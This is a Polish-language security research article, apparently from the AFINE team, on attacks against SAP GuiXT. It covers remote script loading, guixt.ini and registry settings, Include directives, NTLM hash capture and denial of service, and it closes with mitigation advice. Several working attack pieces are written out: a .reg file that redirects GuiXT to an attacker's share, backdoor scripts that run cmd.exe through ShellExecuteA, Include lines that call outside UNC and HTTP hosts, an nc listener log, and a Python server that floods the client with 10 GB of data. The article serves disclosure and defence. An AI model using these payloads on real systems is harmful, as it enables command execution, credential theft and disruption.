Demaskowanie labiryntu bezpieczeństwa: zagrożenia związane ze skryptami SAP GuiXT

W świecie SAP, gdzie personalizacja i optymalizacja są kluczowe, skrypty SAP GuiXT jawią się jako narzędzie potrafiące diametralnie zmienić sposób pracy użytkownika. Jednak pod powierzchnią tej wygody kryje się złożona sieć zagrożeń bezpieczeństwa. Głębsza analiza GuiXT ujawnia szereg potencjalnych ryzyk, które mogą zagrozić całemu środowisku SAP. Wyruszmy więc w podróż przez ten labirynt, rzucając światło na zawiłe wyzwania związane z bezpieczeństwem GuiXT.
Cichy sabotaż: poważna luka projektowa w SAP GuiXT
Na kolejnej stacji naszej podróży przez meandry bezpieczeństwa GuiXT natrafiamy na jedną z najbardziej istotnych podatności: niewłaściwe założenia projektowe. To nie jest drobne niedopatrzenie — to fundamentalna wada w sposobie, w jaki GuiXT obsługuje skrypty, co może prowadzić do poważnych naruszeń bezpieczeństwa. Przyjrzyjmy się bliżej tej luce.
Sedno problemu: zdalne ładowanie skryptów i ich zaciemnianie
Podstawą tej podatności jest fakt, że GuiXT umożliwia ładowanie skryptów z lokalizacji zdalnych. Brzmi wygodnie, prawda? Ale pomyśl o tym tak: umożliwiając ładowanie zdalnych skryptów, GuiXT potencjalnie omija zabezpieczenia lokalne, takie jak oprogramowanie antywirusowe. Co więcej — te zdalne skrypty mogą zawierać zaciemniony kod, który po załadowaniu przez GuiXT jest odszyfrowywany i wykonywany bez wiedzy użytkownika. W efekcie, atakujący może uruchamiać dowolny złośliwy kod w tle, całkowicie niezauważenie.
Wyobraź sobie sytuację, w której jesteś przekonany, że Twój system jest dobrze chroniony przez antywirusa. Tymczasem atakujący wykorzystuje funkcję ładowania skryptów zdalnych. Udostępnia złośliwy skrypt na swoim serwerze, a Twoja konfiguracja GuiXT wskazuje właśnie na ten serwer. Skrypt jest zaszyfrowany lub zaciemniony — więc antywirus niczego nie wykrywa. Ale po jego załadowaniu GuiXT odszyfrowuje go i uruchamia, omijając tym samym zabezpieczenia systemowe.
Kluczowa jest konfiguracja: plik guixt.ini i rejestr systemowy
Ścieżki, z których GuiXT ładuje skrypty, określane są w konfiguracji — może to być: plik guixt.ini
(najczęściej w C:\ProgramFiles\SAP\FrontEnd\SAPGUI\
), lub klucze w rejestrze systemowym: HKEY_CURRENT_USER\Software\SAP\SAPGUI Front\SAP Frontend Server\Customize
.
W pliku guixt.ini
pola Directory1
, Directory2
, Directory3
, Directory4
określają foldery, w których GuiXT szuka skryptów. Analogicznie w rejestrze istnieją odpowiednie klucze: GuiXT.Directory1
, …, GuiXT.Directory4
.
Te ustawienia można również ręcznie zmieniać z poziomu interfejsu GuiXT, korzystając z opcji „Profile”.

I właśnie w tej pozornie niewinnej elastyczności czai się ryzyko. Atakujący może użyć phishingu lub socjotechniki, by nakłonić użytkownika do zmiany ustawień i wskazania zdalnej lokalizacji kontrolowanej przez atakującego.
Wektory ataku: phishing i pliki .reg
Wyobraź sobie, że otrzymujesz e-maila od „administratora sieci” z instrukcją jak poprawić działanie SAP GUI — np. dodając „customowe skrypty”. Wiadomość zawiera dokładne kroki, jak zmodyfikować guixt.ini lub rejestr, by wskazywały na konkretną lokalizację sieciową. Tę, która w rzeczywistości jest kontrolowana przez atakującego.
Jeszcze bardziej perfidna metoda to specjalnie spreparowany plik .reg. Po jego kliknięciu, system ofiary automatycznie aktualizuje ustawienia rejestru tak, by jeden z kluczy GuiXT.DirectoryX wskazywał zewnętrzną ścieżkę atakującego, np.:
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\SAP\SAPGUI Front\SAP Frontend Server\Customize]
"GuiXT.Directory3"="\\\\afine.com\\Scripts4"
Code language: JavaScript (javascript)
Jeden klik — i system ofiary zaczyna ładować skrypty z serwera atakującego.
Payload: backdoory i wykonywanie komendy
Co się następuje po tym, gdy już podmieniono ścieżkę? Gdy użytkownik otwiera SAP GUI lub konkretną transakcję, GuiXT automatycznie ładuje i wykonuje skrypt ze zdalnej lokalizacji. Przykładowy plik SAPMP50A.1100.txt
może zawierać:
if not V[PA20_Executed]
Message "SAP GUI Backdoor Tool by Michal Majchrowicz AFINE Team."
Set V[PA20_Executed] "X"
endif
Code language: JavaScript (javascript)
Ten kod wyświetla wiadomość przy pierwszym uruchomieniu transakcji PA20 lub PA30 — sygnalizując „udane” zainstalowanie backdoora.

Ale intencje atakującego mogą być o wiele groźniejsze. Oto przykład bardziej niebezpiecznego skryptu:
if not V[SU3_Executed]
Message "SAP GUI Backdoor Tool by Michal Majchrowicz AFINE Team."
Set V[SU3_Executed] "X"
Call "ShellExecuteA" dll="shell32.dll" In="0" In="open" In="cmd.exe" In="/C calc.exe" In="C:\\Users\\Public" In="1" Out="rc"
endif
Code language: JavaScript (javascript)
Ten skrypt uruchamia calc.exe
przy otwarciu transakcji SU3, ale równie dobrze może uruchomić dowolną komendę systemową.

Kradzież haszy NTLM – dolewanie oliwy do ognia
Jakby tego było mało, każda próba połączenia się z lokalizacją zdalną w celu pobrania skryptu wysyła hash NTLM hasła użytkownika. Taki hash można przechwycić i wykorzystać do złamania hasła, co daje atakującemu pełny dostęp do konta użytkownika.

Tego rodzaju hasze można łamać przy użyciu popularnych narzędzi, takich jak John
czy Hashcat
.

Dyrektywa „Include”: brama do przejęcia środowiska
Jedną z najbardziej elastycznych, a zarazem najbardziej niebezpiecznych funkcji GuiXT jest dyrektywa Include, która pozwala dołączać kod z innych plików. Funkcja ta, choć potężna, w niewłaściwych rękach staje się zagrożeniem. Szczególnie ryzykowne jest użycie Include z ścieżką UNC. Atakujący, mając jakikolwiek dostęp do katalogów skryptów GuiXT, może przygotować plik, który korzysta z Include, by pobierać kod z złośliwego zdalnego serwera. Skutkiem ubocznym tego działania jest kolejna próba wysłania hasha NTLM — co dodatkowo poszerza wektor ataku.
Przykład złośliwego skryptu GuiXT:
Include "\\afine.com\ntlm_hijack"
Code language: PHP (php)
CSRF i DoS – ukryte zagrożenia
Sprawa robi się jeszcze poważniejsza, gdy uświadomimy sobie, że GuiXT w Include obsługuje różne protokoły, w tym SMB, FTP oraz HTTP. Otwiera to drzwi do ataków typu Client-Side Request Forgery (CSRF). Wyobraź sobie taką sytuację: złośliwy skrypt zmusza SAP GUI klienta do wysyłania zapytań do serwerów wewnętrznych lub zewnętrznych stron WWW. Może to prowadzić do: wycieku danych (data exfiltration), wykonywania nieautoryzowanych działań wewnątrz sieci, lub po prostu zakłócenia pracy systemu. SAP GUI, nieświadomie, staje się narzędziem w rękach atakującego.
Przykład złośliwego skryptu:
Include "http://192.168.1.110/leak"
Code language: PHP (php)
Wysłane do serwera zapytanie wykorzystujące podatność :
$ nc -lvnp 443
Connection received on 192.168.1.110 39352
GET /leak HTTP/1.1
User-Agent: GuiXT
Host: 192.168.1.110
Connection: Keep-Alive
Co gorsza, funkcja pobierania plików w GuiXT może zostać użyta do przeprowadzenia ataku typu Denial of Service (DoS). Problem polega na tym, że GuiXT nie weryfikuje rozmiaru pobieranego pliku. Atakujący może przygotować skrypt inicjujący pobieranie ogromnych plików. SAP GUI, posłusznie, zaczyna je pobierać — co może prowadzić do: zapchania zasobów systemowych, zawieszenia aplikacji, a w konsekwencji: przerwania pracy użytkownika.
Poniższy skrypt może zostać wykorzystany do przeprowadzenia takiego ataku:
import http.server
import socketserver
import os, time
PORT = 8080
TARGET_PATH = "/test/session.txt"
RESPONSE_SIZE = 10 * 1024 * 1024 * 1024 # 10 GB
CHUNK_SIZE = 1024*1024 # 1 MB
class RandomDataHandler(http.server.SimpleHTTPRequestHandler):
def do_GET(self):
if self.path == TARGET_PATH:
self.send_response(200)
self.send_header("Content-Type", "application/octet-stream")
self.send_header("Content-Length", str(RESPONSE_SIZE))
self.end_headers()
remaining_bytes = RESPONSE_SIZE
bytes_sent = 0
chunk_count = 0
total_chunks = RESPONSE_SIZE // CHUNK_SIZE
print(f"[INFO] Starting to send 10GB of random data to {self.client_address[0]}")
while remaining_bytes > 0:
chunk = os.urandom(min(CHUNK_SIZE, remaining_bytes))
try:
self.wfile.write(chunk)
except BrokenPipeError:
print("[WARNING] Client disconnected during transfer.")
return
bytes_sent += len(chunk)
remaining_bytes -= len(chunk)
chunk_count += 1
# Log progress every 100 chunks (~100MB)
if chunk_count % 100 == 0 or remaining_bytes == 0:
percent = (bytes_sent / RESPONSE_SIZE) * 100
print(f"\r[INFO] Sent {bytes_sent // (1024 * 1024)}MB ({percent:.2f}%)", end='',flush=True)
time.sleep(1)
print("\n[INFO] Data transfer complete.")
else:
self.send_error(404, "File Not Found")
with socketserver.TCPServer(("", PORT), RandomDataHandler) as httpd:
print("\nSAP GUI Remote HTTP DoS Attack Tool v0.3 by Michał Majchrowicz AFINE Team\n")
print(f"[INFO] Serving on port {PORT}")
httpd.serve_forever()
Po wykonaniu tego skryptu zobaczymy następujący log:

Po uruchomieniu tego skryptu i podpięciu go do złośliwego skryptu GuiXT, każde uruchomienie SAP GUI powoduje wysłanie powyższych zapytań. Aplikacja przestaje odpowiadać, aż do czasu zakończenia pobierania.

Budowanie bezpiecznej fortecy: strategie mitigacji
Poruszanie się po tym labiryncie zagrożeń wymaga kompleksowego i proaktywnego podejścia. Przede wszystkim należy ograniczyć ładowanie zdalnych skryptów wyłącznie do zaufanych i zweryfikowanych lokalizacji. Warto narzucić ścisłe zasady oraz odpowiednią konfigurację techniczną, aby wymusić takie zachowanie. Skrupulatne monitorowanie i audyt skryptów GuiXT stają się niezbędne. Regularny przegląd aktywności związanych ze skryptami może ujawnić anomalie i potencjalne włamania, zanim przybiorą one groźny charakter. Edukacja użytkowników to kolejny fundament obrony. Wyposaż ich w wiedzę, która pozwoli rozpoznać próby phishingu czy socjotechniki mające na celu manipulację konfiguracją GuiXT. Ścisła kontrola dostępu jest absolutnie kluczowa — upewnij się, że tylko upoważnione osoby mogą modyfikować skrypty i konfigurację. Na koniec — regularne testy bezpieczeństwa pomogą wykryć nowe podatności i ocenić skuteczność wdrożonych środków ochronnych.
Podsumowując, skrypty SAP GuiXT, mimo że oferują duże możliwości i ułatwiają pracę, niosą ze sobą poważne zagrożenia bezpieczeństwa. Zrozumienie tych zagrożeń i wdrożenie odpowiednich środków zaradczych pozwala przekształcić środowisko SAP z łatwego celu w dobrze zabezpieczoną fortecę. Droga przez labirynt bezpieczeństwa GuiXT może być złożona, ale czujność i działania prewencyjne zapewnią integralność i bezpieczeństwo Twoich systemów SAP.